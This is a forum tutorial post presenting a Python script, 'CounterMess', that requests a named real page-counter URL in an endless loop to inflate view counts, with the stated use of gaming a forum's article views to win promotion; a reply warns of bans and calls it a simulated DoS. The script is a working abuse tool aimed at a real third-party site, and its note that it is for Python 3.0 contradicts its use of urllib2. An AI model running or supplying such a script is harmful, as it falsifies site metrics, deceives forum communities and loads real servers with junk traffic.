    Hey today in this tutorial of mine I will demonstrate how to mess up the basic/inelegant counter scrips on the web-pages counting view count etc..

    Note : The info provided by this page is just for educational purposes and should not be used for unethical purposes

    The Target



    I am using Another PhpPageCounter by:WGREP [http://www.wgrep.com/phpcounter.php as a target because its the top rated counter by Hotscripts [http://www.hotscripts.com/category/php/scripts-programs/counters/]

    The Code


    This code is for Python 3.0 if using previous versions change 'urllib2' occurrences in the page to urllib...To know why
    Read :-
    http://docs.python.org/library/urllib.html

    Code:
    import urllib2
    counter = 0;
    hostname = "http://www.wgrep.com/phpcounter.php";
    print("Messing up Counter of " +hostname);
    try :
            while 1:
                    source = urllib2.urlopen(hostname).read()
                    counter = counter + 1;
                    print(counter);
    except :
            print("\nThanks for using CounterMess\n\tMade By : lionaneesh \n\tAKA\n\tExp|i(t-Hax0r")
    

    Uses



    If any forum is using this script you can increase the visitors count to your article and easily be promoted to Author etc..
    I hope G4E is safe!!!

    Don't attempt such automated page loads because that can lead to a ban of your account / ip and it will be handled by our host where we have the firewall and then nothing can be done unless you change your ISP or use a proxy.

    Also articles views is one of the way to understand how popular those articles are but that is not the only way because we even track the source of the users and that is where your script can be of no use.

    Now coming to your articles this is nothing but a way to simulate DoS attack and so be careful on those things.
